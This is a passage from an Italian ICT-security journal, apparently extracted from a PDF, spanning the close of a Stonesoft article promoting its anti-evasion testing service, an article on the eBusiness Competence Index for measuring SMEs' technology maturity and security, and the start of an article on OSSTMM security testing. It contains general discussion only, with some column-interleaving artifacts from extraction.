nuove forme di tecniche di evasione sono sempre
più importanti e sono destinate a diventare uno dei
fondamenti delle attività di sviluppo dei nuovi prodotti. In mancanza di strumenti appropriati e di
competenze adeguate, i vendor sono destinati a non
essere in grado di fornire protezione preventiva e
proattiva contro le AET (Advanced Evasion
Technique).
I prodotti IPS e NGFW di Stonesoft sono sottoposti a costanti verifiche e aggiornamenti contro le
AET. Anni di attività nella ricerca e sviluppo e un
framework automatizzato per la conduzione di
prove interne fanno sì che i sistemi IPS e NGFW di
Stonesoft siano in grado di fornire in ogni momento
la massima protezione contro le AET.
11. Anti-Evasion Readiness Test
Con l’obiettivo di migliorare il livello di protezione delle aziende, nel giugno del 2011 è stato introSpeciale Sicurezza ICT
dotto il nuovo servizio Stonesoft Anti-Evasion
Readiness Test, che viene erogato da esperti IT indipendenti in tutto il mondo.
Il servizio Anti-Evasion Readiness Test è basato
sulla Stonesoft Evasion Readiness Test Suite sviluppata da Stonesoft Labs per collaudare, analizzare e
convalidare le capacità dei dispositivi di sicurezza di
fornire una protezione efficace contro le AET.
Tale servizio è stato sviluppato per fornire una
risposta alle esigenze di tutte quelle aziende che per
la loro sicurezza si affidano a dispositivi quali
NGFW (Next-Generation FireWall), IDS (Intrusion
Detection System), IPS (Intrusion Prevention
System) e sistemi UTM (Unified Threat
Management). Per molte aziende la convalida di tali
capacità è cruciale per aderire ai requisiti di conformità e auditing oltre che per proteggere le loro risorse digitali più preziose.
Il servizio fornisce al cliente un rapporto dettagliato riguardante la capacità di rilevamento e contrasto delle tecniche di evasione dei dispositivi di
sicurezza di cui dispone o che intende acquistare. Il
rapporto include anche una serie di suggerimenti e
consigli pratici riguardo la riduzione dei rischi da
parte dei maggiori esperti al mondo nella lotta agli
attacchi AET. Il test è facile e conveniente da eseguire e non richiede la disponibilità di esperti interni né
investimenti in particolari strumenti di prova.
12. Conclusioni
Recenti attacchi di rete coronati da successo
hanno mostrato chiaramente i progressi compiuti dai
cybercriminali nello sviluppo di metodi sempre più
efficaci e sofisticati per condurre attacchi mirati. Tali
attacchi non hanno dato scampo a organizzazioni
che si ritenevano al sicuro perché protette da quelli
che erano considerati i migliori sistemi di sicurezza in
commercio.
Ciò è stato possibile essenzialmente per due
ragioni. Le bande cybercriminali sono sempre meglio
preparate, motivate e finanziate. La posta in palio è
sempre più alta e i rischi di essere scoperti sono relativamente bassi. In definitiva per le aziende si tratta
di un problema di gestione del rischio, dunque una
questione di competenza del top management.
Ogni anno vengono spesi 3 miliardi di dollari per
implementare protezioni adeguate e le aziende investono a favore dei dispositivi per la sicurezza di rete
nella convinzione che essi facciano ciò per cui si sup-
33
Emilio Turani
pone siano stati costruiti. I fatti recenti dimostrano
chiaramente questa tendenza.
Questo tipo di dispositivi è posto a protezione di
reti di computer mission-critical, dati sensibili e sistemi critici quali piattaforme CRM ed ERP e reti
SCADA, che costituiscono un bersaglio quanto mai
allettante per i cybercriminali. Le AET forniscono un
metodo altamente efficace per condurre attacchi
senza lasciare tracce. Disponendo di un set efficace
di tecniche di evasione avanzate, i cybercriminali possono contare su una vera e propria chiave universale
che consente loro di sfruttare e riutilizzare exploit
noti che verrebbero altrimenti rilevati e bloccati.
La realtà dimostra che varie tecniche di evasione
vengono impiegate per rendere più difficoltoso rilevare la presenza di contenuti pericolosi all’interno del
traffico di rete. Spesso tali attacchi ricorrono all’uso
dei protocolli di rete in modi inusuali, in altri casi le
violazioni dei protocolli sono invece deliberate.
L’approccio di Stonesoft, società del Gruppo
McAfee, vanta un’efficace capacità di contrasto contro simili tecniche di evasione in quanto pone l’accento sui contenuti trasmessi. I moduli Stonesoft, dal
livello IP al livello applicativo, sono in grado di vedere attraverso i metodi di offuscamento più diffusi,
ispezionando e analizzando i contenuti effettivamente trasmessi.
34
Inoltre, l’ispezione multi-layer consente alle soluzioni Stonesoft di rilevare anche tecniche di evasione
che agiscono su più livelli di protocollo.
Se i prodotti Stonesoft sono in grado di rilevare le
tecniche di evasione note ispezionando il contenuto
effettivo del traffico, per mantenere tale capacità inalterata un team di ricerca e sviluppo dedicato opera
attivamente per scoprire e convalidare nuove tecniche di evasione, implementando tempestivamente
protezioni efficaci contro di esse.
I punti di forza nel contrasto alle AET che caratterizzano le soluzioni Stonesoft si possono riassumere come segue:
• Una tecnologia a prova di AET incentrata su
capacità di ispezione basate su data stream con
analisi multi-layer dei protocolli
• Un framework di ricerca e sviluppo interno
per il contrasto alle AET. Un vasto know-how
nelle tecniche di evasione avanzate.
• Un efficace sistema di gestione intelligente in
grado di fornire aggiornamenti e upgrade
immediati contro le nuove tecniche di evasione.
• Prodotti di sicurezza di tipo dinamico (software) adattabili alle esigenze di ogni cliente.
Soluzioni fisiche, virtuali o ibride.
Fabio Bisogni, Simona Cavallini
Fondazione FORMIT*
EBUSINESS
COMPETENCE INDEX:
UNA METODOLOGIA PER LA DIAGNOSI DELLA MATURITÀ TECNOLOGICA DELLE
PMI E UN’OPPORTUNITÀ PER SENSIBILIZZARE LE IMPRESE VERSO LA SICUREZZA
A METHODOLOGY TO ASSESS THE SME’S TECHNOLOGY MATURITY AND
AN OPPORTUNITY TO INCREASE COMPANIES’ AWARENESS TOWARDS SECURITY ISSUES)
Sommario
Il seguente articolo mira a illustrare una metodologia per
la valutazione della capacità tecnologica delle PMI e, in particolare, propone l’eBusiness Competence Index (EBCI) e i
suoi 4 indicatori come strumento a disposizione di ogni impresa per giudicare e comparare la propria maturità nell’adozione di soluzioni eBusiness.
Tale metodologia, sviluppata all’interno del progetto
“eBusiness Solutions and Services Benchmarking Project”
realizzato da Fraunhofer IAO e Fondazione FORMIT per
la DG Impresa and Industria della Commissione Europea e
per l’European eBusiness Support Network (eBSN), rappresenta la parte funzionale della guida on-line per soluzioni
eBusiness1 L’indice EBCI permette alle imprese che compilano un questionario on-line di valutare la loro maturità in termini di soluzioni eBusiness e di compararla con quella di tutte
le altre imprese che hanno inserito in precedenza le proprie
informazioni.
L’indice EBCI rappresenta quindi una preziosa base
informativa per suggerire alle imprese europee soluzioni
eBusiness per migliorare la produttività grazie all’adozione di
nuove tecnologie in grado di controllare e gestire il proprio processo produttivo. Le crescenti minacce del cyber spazio negli
ultimi anni impongono però l’applicazione in parallelo di
un’attenta valutazione dei rischi insiti nelle applicazioni per
garantire un adeguato grado di sicurezza ICT a livello aziendale.
A bstract
The present article aims at illustrating a methodology to
assess the technological capability of SMEs and, in particular, suggests the eBusiness Competence Index (EBCI) and its
4 indicators as an effective tool to evaluate and compare the
eBusiness maturity of enterprises.
This methodology, developed within the project “eBusiness
Solutions and Services Benchmarking Project” carried out by
Fraunhofer IAO and Fondazione FORMIT for the DG
Enterprise and Industry of the European Commission and
for the European eBusiness Support Network (eBSN) is the
most effective part of the on-line guide for the eBusiness solutions1.
The EBCI allows the enterprises filling the on-line questionnaire to assess their eBusiness compentence and to compare it with that of all the other enterprises that enter their
information in the tool.
Furthermore, the EBCI represents a valuable informative basis to suggest to the European enterprises the eBusiness
solutions to improve productivity through the new technology
adoption. In the last years the increasing threat of the cybercrime has imposed, in parallel, a careful evaluation of the
ICT security risk of the eBusiness solutions implemented in
the enterprise.
1. Il ruolo dell’eBusiness nel contesto
Europeo
mente strategica del mondo produttivo, un’adeguata
adozione tecnologica potrebbe rivelarsi uno strumento efficace per incrementare la produttività e, di
conseguenza, per favorire la crescita economica.
Accademici, industriali e istituzioni sono concordi
All’interno del contesto industriale Europeo, in
cui le PMI rappresentano la componente maggior-
_____________________________________________
* Fondazione FORMIT (http://www.formit.org/), Roma, Napoli, Bari, Caltanisetta, Bruxelles.
1 http://ec.europa.eu/enterprise/e-bsn/ebusiness-solutions-guide/welcome.do
35
sull’efficacia delle tecnologie informatiche nel migliorare la performance economica, come dimostrato
dall’eccezionale crescita dell’economia statunitense
negli anni Novanta (Adekola, Sergi, 2008). I vantaggi
competitivi ottenuti dagli Stati Uniti in ambito industriale, hanno indotto i policy maker europei a implementare misure strutturali per lo sviluppo e l’innovazione, quale la Strategia di Lisbona nel 2000, al fine
di migliorare la crescita sociale ed economica
mediante una più vasta adozione dell’information
technology, in special modo nel mondo produttivo.
Dal punto di vista microeconomico, l’impresa che
adotta e utilizza soluzioni ICT ha come obiettivo
l’aumento della produttività del lavoro per migliorare
la propria della competitività. Dal punto di vista
macroeconomico, l’adozione di soluzioni di
eBusiness da parte delle imprese è da considerare
come uno dei fattori cruciali per il raggiungimento
degli obiettivi della Strategia di Lisbona. Il punto
3.1.2 dell’Action Plan eEurope 20052 , indica l’impegno esplicito a un vasto impiego delle tecnologie
informatiche e delle comunicazioni nelle attività di
business: l’obiettivo è la promozione di “un dinamico
ambiente per l’eBusiness” capace “di promuovere la domanda di eBusiness con l’obiettivo di aumentare la competitività
delle imprese europee e d’incrementare la produttività e la crescita tramite l’investimento in tecnologie informatiche e delle
comunicazioni, risorse umane (specialmente e-skills) e nuovi
modelli di business”3.
Secondo la definizione ufficiale fornita dalla
Commissione Europea4, l’eBusiness è “l’utilizzo produttivo delle tecnologie informatiche e delle comunicazioni
(ICT) per sostenere i processi di business sia interni sia esterni (dell’impresa). […] Ma solo se accompagnati e supportati
da cambiamenti organizzativi”5 . Ancor più precisa è la
definizione proposta in “Adapting eBusiness policies in a
changing environment: The lessons of the Go Digital initiative and the challenges ahead”6 che sottolinea la differenza tra e-commerce and eBusiness (Figura 1).
• L’eCommerce riguarda tutte le applicazioni
ICT collegate ai processi esterni di business,
Figura 1 – Definizioni di eBusiness e di eCommerce
precisamente e-purchase e attività di e-selling.
• L’eBusiness racchiude l’e-commerce, ma
comprende anche l’integrazione dell’ICT nel
processo di business.
2. Le soluzioni di eBusiness e le piccole e
medie imprese
L’ostacolo principale all’adozione di soluzioni
eBusiness in Europa è senza dubbio dovuto alla piccola dimensione delle imprese. Le Piccole e Medie
Imprese (PMI)7 rappresentano l’elemento fondante
dell’economia europea: nel 2002, il 93% di tutte le
imprese europee aveva meno di 10 dipendenti e il
numero medio di dipendenti di una impresa europea
è 6 (OECD, 2002).
Secondo i dati dell’eBusiness Index e i relativi
quattro sottoindici prodotti dall’EBSN, è evidente la
minore propensione delle PMI europee all’adozione
di soluzioni eBusiness rispetto alle grandi imprese
(GI). Paragonando i valori normalizzati (a 100) per le
imprese più grandi e i risultati per le altre categorie
d’impresa, è possibile trarre alcune interessanti con-
2Appoggiato
dal Consiglio Europeo di Siviglia nel giugno 2002.
originale "A dynamic eBusiness environment" capace “to promote take-up of eBusiness with the aim of increasing the competitiveness of European enterprises and raising productivity and growth through investment in information and communication technologies, human
resources (notably e-skills) and new business models”.
4Sul sito web relativo a “Measurement and economic analysis of eBusiness in Europe” (http://ec.europa.eu/enterprise/ict/policy/econanal/index.htm).
5In originale “the productive use of information and communication technologies (ICT) to support (enterprise) both internal and external
business processes. […] But only if accompanied and supported by organisational changes”.
6Comunicazione della Commissione al Consiglio, al Parlamento Europeo, al Comitato Economico e Sociale Europeo e al Comitato delle
Regioni [COM(2003)148 final].
3In
36
UNA
EBUSINESS COMPETENCE INDEX:
METODOLOGIA PER LA DIAGNOSI DELLA MATURITÀ TECNOLOGICA DELLE PMI E UN’OPPORTUNITÀ PER SENSIBILIZZARE LE IMPRESEVERSO LA SICUREZZA
A
METHODOLOGY TO ASSESS THE SME’S TECHNOLOGY MATURITY AND AN OPPORTUNITY TO INCREASE COMPANIES’ AWARENESS TOWARDS SECURITY ISSUES)
Dall’altro, ci si può domandare se le piccole
imprese abbiano davvero bisogno delle stesse
potenti soluzioni delle grandi imprese per ottenere
i medesimi benefici. In una piccola impresa, la
gestione delle informazioni (information management) e l’eBusiness possono essere forse anche conseguiti in maniera efficace ed efficiente tramite
l’uso di sistemi meno sofisticati e meno costosi.”8
Fonte: eBusiness W@tch 2006
Figura 2 –eBusiness Index e sottoindici prodotti dall’EBSN
siderazioni riguardo al gap tecnologico delle PMI:
nelle imprese più piccole il campo maggiormente
sviluppato è quello delle reti ICT, mentre quello
meno sviluppato è l’integrazione informatica dei
processi interni (Figura 2).
Il gap tra PMI e GI indica che ci sono potenziali opportunità per lo sviluppo ICT nella piccola
impresa, ma è necessario considerare un probabile
tasso naturale di adozione ICT per le PMI strutturalmente inferiore a quello delle GI.
Nell’edizione 2006/07 di “The European eBusiness
Report: a portrait of eBusiness in 10 sectors of the EU economy”, la questione della crescita dell’adozione
potenziale dell’ICT nelle PMI è ben motivata: “le
implicazioni ICT per le PMI sono ambivalenti. Da un lato,
l’ICT potrebbe offrire vantaggiose economie di scala. Le grandi imprese possono permettersi importanti sistemi ICT a un
costo proporzionalmente inferiore di quello che le PMI devono
affrontare per la loro infrastruttura relativamente semplice.
L’eBusiness Index 2006 conferma che la diffusione di sistemi
ICT per l’integrazione dei processi interni ed esterni cresce con
una tendenza lineare secondo la dimensione dell’impresa.
In tale prospettiva, uno strumento per
raccogliere informazioni sull’efficace adozione di soluzioni di eBusiness diventa
essenziale per comprendere le opportunità per le piccole e medie imprese europee
al fine di ridurre qualsiasi forma di distorsione che potrebbe potenzialmente impedire l’accesso delle PMI a soluzioni eBusiness.
3. L’EBCI: uno strumento per sostenere l’adozione di soluzioni eBusiness e valutare la
capacità tecnologica delle PMI
All’interno del progetto “eBusiness Solutions and
Services Benchmarking Project” realizzato per la DG
Impresa e Industria della Commissione Europea e
per l’European eBusiness Support Network (eBSN),
Fraunhofer IAO e Fondazione FORMIT hanno
implementato all’interno della guida on-line per soluzioni eBusiness (http://ec.europa.eu/enterprise/ebsn/ebusiness-solutions-guide/welcome.do) uno
strumento capace di valutare la capacità tecnologica
delle imprese europee e supportarne l’adozione di
soluzioni eBusiness.
La guida on-line, oltre a fornire informazioni e
riferimenti sulle soluzioni eBusiness più recenti per
Stato Membro, per settore economico, per dimensione d’impresa e per funzionalità della soluzione
7La
definizione di PMI riportata in e adottata dall’Unione Europea usa tre criteri: numero di dipendenti, turnover annuale e stato patrimoniale annuale. In particolare, mentre è obbligatorio rispettare le soglie del numero dei dipendenti, non è necessario soddisfare i requisiti di
turnover e bilancio. Guardando alle soglie, la categoria delle micro, piccole e medie imprese comprende imprese che impiegano meno di 250 persone e che hanno o un turnover annuale non superiore ai 50 milioni di euro o un totale dello stato patrimoniale annuale non superiore ai 43
milioni di euro. Le piccole imprese impiegano meno di 50 persone e hanno un turnover annuale o uno stato patrimoniale annuale che non supera i 10 milioni d’euro. Le micro imprese sono definite come imprese che impiegano meno di 10 persone e il cui turnover annuale o il totale
dello stato patrimoniale non supera i 2 milioni di euro.
8 “The ICT implications for SMEs are ambivalent. On the one hand, ICT may offer increased economies of scale. Large enterprises can
afford powerful ICT systems at proportionally lower cost than SMEs have to meet for their comparatively simple infrastructure. The eBusiness
Index 2006 confirms that the diffusion of ICT systems for internal and external process integration increases in a linear fashion according
to firm size. On the other hand, it is debatable whether small companies really need the same powerful solutions as large firms in order to
achieve the same benefits. In a small company, information management and eBusiness can possibly also be effectively and efficiently achieved
by the use of less sophisticated and less expensive systems.”
37
eBusiness, permette a ciascuna impresa che risponde
ad un semplice questionario on line di fare una diagnosi della propria maturità tecnologica. Tale funzionalità consente alle micro, piccole e medie imprese
europee di acquisire consapevolezza della capacità
d’informatizzare i processi di business. A tale scopo,
una sezione del sito web permette alle PMI di calcolare il loro eBusiness Capability Index (EBCI)
come misura del grado di adozione di prodotti e servizi eBusiness. Il questionario on-line (Figura 3) sulla
dotazione ICT, composto da 16 domande divise in
quattro sezioni, raccoglie le risposte dell’impresa per
determinarne l’indice EBCI.
Le variabili dell’EBCI
Le 16 variabili che costituisco l’eBusiness
Capability Index fanno riferimento a:
1. connettività LAN (Local Area Network) tra i
computer dell’impresa
2. connettività internet a banda larga
3. presenza di accesso remoto alla rete aziendale
4. accesso al VPN (Virtual Private Network)
5. presenza d’intranet
6. uso della tecnologia per monitorare le ore di lavoro e/o il tempo di produzione
7. impiego di sistemi EDM (Enterprise Document
Management system )
8. impiego di sistemi ERP (Enterprise Resource
Planning System)
9. acquisto on-line (almeno 5% del volume d’acquisto totale)
10. utilizzo di specifiche soluzioni ICT per l’e-procurement
11. impiego di sistemi SCM (Supply Chain
Management System)
12. gestione on-line della capacità e dell’inventario
13. CMS (Content Management System - Sistema di
Gestione Contenuti) per il sito web
14. uso di sistemi software CMS (Customer
Relationship Management System)
15.vendita on-line (almeno 5% del volume totale di
vendita)
16. impiego di specifiche soluzioni ICT per i processi
di marketing e vendita.
La tipologia delle variabili utilizzate è analoga a quella
dell’eBusiness Index dell’EBSN. La differenza
sostanziale è nei quattro possibili gradi di adozione
che possono aver implementato le imprese per ciascuna soluzione (vedi Figura 3):
• mai considerata
• in pianificazione
• in realizzazione
• già implementata
38
Le informazioni di ciascuna sezione del questionario sono sintetizzate da un indicatore. L’indice
EBCI si compone infatti di 4 indicatori ottenuti dalla
combinazione ponderata di 16 variabili derivanti
dalle 16 domande (vedi box). Più precisamente, gli
indicatori sono:
• l’indicatore ICT infrastructure and Basic
Connectivity Indicator (ICTBCI) composto dalle variabili 1, 2, 3 e 4;
• l’indicatore Internal business Process
Automation Indicator (IBPAI) composto
dalle variabili 5, 6, 7 e 8;
• l’indicatore Procurement and Supply Chain
integration Indicator (PSCII) composto
dalle variabili 9, 10, 11 e 12;
• l’indicatore Marketing and Sales Processes
Indicator (MSPI) composto dalle variabili
13, 14, 15 e 16.
Nel caso di soluzione ICT già adottata dall’impresa, il valore della variabile è 0,25, mentre nel caso di
soluzione ICT mai considerata il valore è 0. In tal
modo, tutti i 4 indicatori variano da 0 a 1.
con j = 1 … 4
in cui:
Ij = uno dei 4 indicatori
Vi = una delle 4 variabili che compongono ciascun
indicatore
L’eBusiness capability index è, a sua volta,
composto da tutti i 4 indicatori che recano il medesimo peso (0,25).
in cui:
Ij = uno dei 4 indicatori.
L’eBusiness Competence Index (EBCI),
come somma ponderata dei 4 indicatori, varia da 0
(PMI prive di eBusiness Competence) a 1 (PMI
con massima eBusiness Competence).
In base ai risultati dell’EBCI, micro, piccole e
medie imprese possono essere raggruppate in 3 categorie utilizzando le seguenti soglie:
• Imprese con basso livello di capacità
eBusiness (Indice EBCI da 0 a 0,333).
• Imprese con medio livello di capacità
eBusiness (Indice EBCI da 0,334 a 0,666).
• Imprese con alto livello di capacità eBusiness
UNA
A
Competence Index e delle
relative categorie di maturità
delle imprese sono prese in
considerazione le stesse
variabili
impiegate
da
eBusiness w@tch per la
costruzione dell’eBusiness
Index, ma rispetto a quest’ultimo l’indice EBCI ha 2
punti di forza: fornisce una
misura assoluta (variabile da
0 a 1) della maturità in termini di eBusiness di un’impresa; fornisce una misura
relativa della maturità in termini di eBusiness di un’impresa rispetto alle imprese
che hanno completato il
questionario, comparando il
risultato della medesima
impresa con il valore medio
e i risultati delle imprese
Figura 3 – Form del questionario per l’elaborazione dell’eBusiness Competence Index
della medesima dimensione
(Indice EBCI da 0,667 a 1).
e dello stesso settore industriale (Figura 4 e Figura 5).
Le imprese caratterizzate da un basso livello di
eBusiness Competence non sono generalmente in
possesso di una struttura ICT ben configurata e sono
4. Maturità in termini di soluzioni eBusiness
dotate di una connettività elementare. Si tratta d’ime sicurezza ICT
prese con un’adozione limitata di soluzioni eBusiness
per la gestione dei processi interni e che non impieLa valutazione tramite l’EBCI, che mette in luce
gano servizi on-line per l’acquisto o la vendita. Tutte
la maturità tecnologica delle imprese, deve però essequeste caratteristiche sono tipiche di imprese che
re necessariamente complementare ad un’anlaisi
operano sui mercati locali in settori tradizionali.
delle minacce e le vulnerabilità generate dall’impleLa categoria delle imprese con un livello di
mentazione di tali soluzioni di eBusiness.
eBusiness Competence medio comprende quelle
Se da un lato le soluzioni di eBusiness accrescono
imprese con, almeno, connettività internet a banda
la maturità tecnologica dell’impresa con consistente
larga, alcune procedure automatiche per la produzioimpatto sulla sua produttività, dall’altro mettono a
ne e la gestione amministrativa e una minima strutrischio proprio quest’ultima se non accompagnate da
tura per l’e-commerce. Ciò implica anche una strutun impiego di misure di sicurezza ICT adeguate che
tura interna ben definita per la gestione della dotapermettano di garantire la funzionalità dei processi,
zione ICT.
la sicurezza dei dati e la tracciabilità delle comunicaLa categoria con maggiore eBusiness Competenzioni.
ce include le imprese che gestiscono una parte
La sicurezza deve necessariamente diventare una
importante del business sfruttando le opportunità
componente essenziale di ogni scelta di implementaICT. Questo significa un buon livello di connettività
zione di soluzioni di eBusiness. Le moderne strate(LAN, banda larga, ect.), automazione dei processi di
gie aziendali prevedono l'accessibilità a reti e applicabusiness più importanti, a seconda del settore di
zioni da parte di una comunità di utenti sempre più
appartenenza, reale importanza dell’e-selling nella
estesa con un conseguente incremento dei rischi e
strategia di marketing e ruolo strategico dell’e-procudei problemi di sicurezza. Un livello di protezione
rement nella gestione della supply chain.
adeguato delle reti e dei loro componenti deve incorPer
la
determinazione
dell’eBusiness
porare il grado di maturità tecnologica e il grado di
39
Figura 4 – Esempio di eBusiness Competence Index secondo le risposte fornite al questionario di un’impresa
Figura 5 – Esempio del confronto dei 4 indicatori secondo le risposte fornite al questionario da un’impresa
complessità delle loro strutture. A tal fine l’utilizzo di
una misurazione quantitativa del grado di sicurezza
rispetto alle soluzioni eBusiness implementate rappresenta un elemento complementare all’EBCI e
indispensabile considerando l’evoluzione dello sce-
nario tecnologico attualmente in corso.
Analogamente all’EBCI, il grado di sicurezza ICT
può essere misurato attraverso l’eBusiness Security
Index (EBSI)9 che include i seguenti cinque aspetti in termini di sicurezza ICT:
La costruzione di indicatori connessi alla sicurezza informatica e alle performance economiche è una delle attività di ricerca di Fondazione FORMIT in
tema di Economics of Security.
9
40
UNA
A
1. Sicurezza Infrastrutture. Tale aspetto misura la sicurezza fisica e le modalità di accesso ai
locali dove si trovano server e computer dedicati all’amministrazione del sistema. Elementi
essenziali da considerare sono la gestione del
back up, le capacità di sostituzione dei componenti hardware, la presenza di soluzioni per
la continuità, le modalità di istallazione e
gestione dei componenti software (Firewall,
network port, ecc.)
2. Salvataggio dati. Tale aspetto valuta le
modalità di salvataggio dati con particolare
attenzione alle informazioni personali e sensibili. Elementi essenziali sono il repository di
tali dati, le modalità di accesso a tale repository, l’utilizzo della crittografia, il tempo di
detenzione delle diverse tipologie di informazione.
3. Trasmissione dati. Tale aspetto analizza le
modalità di trasmissione dati, l’utilizzo di
email per l’invio di informazioni sensibili e
riservate, l’utilizzo di specifiche modalità di
crittografia.
4. Strumenti di Amministrazione del sistema. Tale aspetto include la valutazione della
gestione degli user da parte dell’amministrator
e il loro monitoraggio, le modalità di autenticazione e di gestione password, i diversi livelli
di privilegi di sistema, i meccanismi di aggiornamento antivirus, l’esistenza di disaster recovery e business contingency plan.
5. Utilizzo applicazioni. Tale aspetto valuta le
procedure per il download, l’installazione e
l’utilizzo di software (potenzialmente malicious), il grado di sicurezza intrinseco dei software commerciali, le procedure di utilizzo
della posta elettronica.
Come evidente dai 5 aspetti appena indicati per
definire l’eBusiness Security di un’impresa, la complessità della valutazione è superiore a quella dell’a-
nalisi della sua maturità tecnologica e deve necessariamente essere combinata con quest’ultima. Una
ridotta eBusiness Security può indicare per un’impresa con basso livello di capacità eBusiness un certo
grado di adeguatezza delle misure di protezione,
mentre per un’impresa con alto livello di capacità
eBusiness un’eccessiva esposizione alle minacce del
cyberattack.
5. Conclusioni
Secondo l’ipotesi per cui l’adozione delle nuove
tecnologie all’interno del contesto produttivo svolge
un ruolo chiave nello stimolare la crescita economica, una chiara panoramica sull’adozione delle soluzioni eBusiness da parte delle imprese è essenziale
per definire azioni di policy volte a promuovere gli
effetti positivi dell’impiego dell’ICT.
In aggiunta, una crescente consapevolezza della
propria eBusiness competence può stimolare ogni
impresa ad un’adozione di soluzioni eBusiness, e di
conseguenza, ad un miglioramento in termini di produttività. A tale scopo, l’indice EBCI rappresenta
un’efficace metodologia di valutazione a disposizione
di policy makers nazionali ed europei e delle stesse
imprese.
Visti i recenti sviluppi dello scenario tecnologico
e la crescente minaccia del cyber crime, la dotazione
di soluzioni di eBusiness se non accompagnata da
adeguate misure di sicurezza non rappresenta più
una condizione sufficiente per il miglioramento della
produttività aziendale. Una valutazione quantitativa
della sicurezza relativa alle soluzioni eBusiness diventa uno strumento essenziale se integrato alla misurazione della maturità tecnologica aziendale che permette una riflessione sulle misure di sicurezza necessarie per non condizionare il potenziale di miglioramento della produttività offerto dalle soluzioni di
eBusiness.
41
Riferimenti bibliografici
• Adekola, A., Sergi, B. S., (2008), “Particulars of US Information Technology and productivity: lessons
for Europe”, International Journal of Trade and Global Markets, Volume 1, Number 2, pp. 128 – 143.
• DG Enterprise and Industry, (2009), “ebusinesses guide helps SMEs to self-diagnose their competences”, http://ec.europa.eu/enterprise/newsroom/cf/itemlongdetail.cfm?item_id=3782
• eBusiness W@tch (2006), “The European eBusiness Report: a portrait of eBusiness in 10 sectors of
the EU economy”, 2006/07 edition, 5th Synthesis Report, http://www.ebusinesswatch.org/key_reports/documents/EBR06.pdf
• European Commission (2005), “Measurement and economic analysis of eBusiness in Europe”,
http://ec.europa.eu/enterprise/ict/policy/econ-anal/index.htm
• European Commission (2005), “The new SME definition - User guide and model declaration”,
Enterprise and Industry Publications.
• European Commission (2008), “eBusiness Guide for SMEs – eBusiness Software and Services in the
European Market”, realised by Fraunhofer IAO and Fondazione FORMIT, http://ec.europa.eu/enterprise/e-bsn/ebusiness-solutions-guide/docs/eBusiness_Guide_for_SMEs.pdf
• European Commission, (2003), “Adapting e-business policies in a changing environment: The lessons
of the Go Digital initiative and the challenges ahead”, Communication from the Commission to the
Council, the European Parliament, the European Economic and Social Committee and the Committee
of the Regions, COM(2003)148 final
• European eBusiness Guide for SMEs - http://ec.europa.eu/enterprise/e-bsn/ebusiness-solutionsguide/welcome.do
• European e-Business Support Network (eBSN) - http://ec.europa.eu/enterprise/e-bsn/index_en.html
• Eurostat - http://epp.eurostat.ec.europa.eu/
• Lisbon Strategy - http://portal.cor.europa.eu/lisbon/Profiles/Pages/welcome.aspx
• OECD, (2002), “Main results from the 2002 Observatory of European SMEs”,
http://www.oecd.org/dataoecd/37/47/34026603.pdf
42
Marco Ivaldi
Mediaservice
LA CERTIFICAZIONE DELLA SICUREZZA ICT CON OSSTMM.
Sommario
Le verifiche di sicurezza ricoprono un ruolo fondamentale
all'interno del processo di gestione della sicurezza ICT.
Tuttavia, esse sono soggette a numerose problematiche che
possono limitarne la reale utilità. La metodologia scientifica
OSSTMM si propone come una soluzione a queste problematiche, fornendo un processo concreto per la verifica funzionale e la certificazione della sicurezza.
A bstract
Proactive security testing is a critical element within the
ICT security governance process.
However, its effectiveness might be affected by many potential problems. The OSSTMM is a scientific methodology that
has been created to address those problems. It provides a concrete process to thoroughly evaluate and certify operational
security.
“Grazie alla metodologia OSSTMM non è più necessario affidarsi a best practice generiche, riscontri aneddotici o superstizioni, poiché essa fornisce evidenze scientifiche su cui basare le decisioni che impattano sulla sicurezza.” – Open Source Security
Testing Methodology Manual 3.0.
1. Sicurezza proattiva e OSSTMM
La disciplina della sicurezza proattiva comprende
tutte le attività finalizzate a rilevare e valutare il grado
di efficacia, efficienza e robustezza delle contromisure di sicurezza tecnologiche o organizzative adottate
all’interno di un ambito definito. I più comuni servizi di sicurezza proattiva sono:
• Vulnerability Assessment, che prevede l’esecuzione di scansioni automatizzate o semiautomatizzate non invasive, condotte avvalendosi di strumenti software al fine di rilevare la
presenza di vulnerabilità note.
• Penetration Test, che si basa su tecniche di
attacco inferenziali finalizzate all’identificazione delle criticità non note o comunque non
rilevabili tramite i soli strumenti di scansione
ed analisi automatizzata.
L’esecuzione di verifiche di sicurezza richiede
l’intervento di analisti specializzati (ethical hacker) in
grado di comprendere non solo le tematiche di sicurezza ICT, ma anche le normative, le leggi, le premesse, le operazioni, i processi e le specifiche tecnologie coinvolte nel contesto oggetto di analisi. Tra le
tecnologie che possono essere oggetto di verifica
figurano: reti IP pubbliche e private, reti Wi-Fi, piattaforme applicative, servizi VPN, infrastrutture telefoniche tradizionali e VoIP, dispositivi hardware,
sistemi di controllo degli accessi e videosorveglianza,
etc.
A causa dell’elevato grado di specializzazione
richiesto agli analisti e al fine di garantire una valutazione di sicurezza indipendente e slegata dalle dinamiche aziendali, le verifiche sono di norma condotte
da una terza parte. A seconda degli accordi, il team
di specialisti può o meno avvalersi di informazioni di
dettaglio relative al contesto oggetto di analisi, oltre
che di credenziali valide per l’accesso ai servizi applicativi in caso di verifica da posizione privilegiata.
Al termine delle attività viene redatta la reportistica, solitamente organizzata in due livelli distinti:
• Executive Summary, destinato allo staff dirigenziale del Cliente, che fornisce indicazioni
strategiche e di facile lettura sullo stato complessivo della sicurezza riscontrato a seguito
delle attività di analisi.
• Technical Report, che costituisce la documentazione formale dei test eseguiti e riporta in
43
Marco Ivaldi
modo particolareggiato i risultati emersi dalle
attività svolte, i dettagli tecnici e le evidenze
più significative.
L’esecuzione periodica di verifiche di sicurezza
consente di identificare in modo preventivo eventuali inadeguatezze o non conformità, al fine di fornire
le indicazioni necessarie alla formulazione del piano
correttivo di rientro. La disciplina della sicurezza
proattiva ricopre pertanto un ruolo estremamente
importante all’interno del processo di gestione della
sicurezza ICT. Tuttavia, il valore di una verifica di
sicurezza dipende fortemente dal valore degli analisti
che la effettuano. Le verifiche di sicurezza sono inoltre storicamente soggette alle seguenti classi di problematiche, che possono limitarne l’utilità:
• I risultati della verifica non sono esaustivi, poiché il perimetro di analisi o l’approccio di test
non è stato correttamente e formalmente definito.
• I risultati della verifica includono numerosi
falsi positivi e negativi, dovuti a limitazioni
negli strumenti o nei metodi di test adottati.
• I risultati della verifica non sono consistenti,
ripetibili, misurabili e quantificabili secondo
precise regole.
• La priorità degli interventi correttivi da effettuare nell’ambito del piano di rientro non è
definita sulla base di un metodo condiviso con
il Cliente.
• La verifica di sicurezza non tiene conto delle
politiche, delle normative e delle leggi vigenti
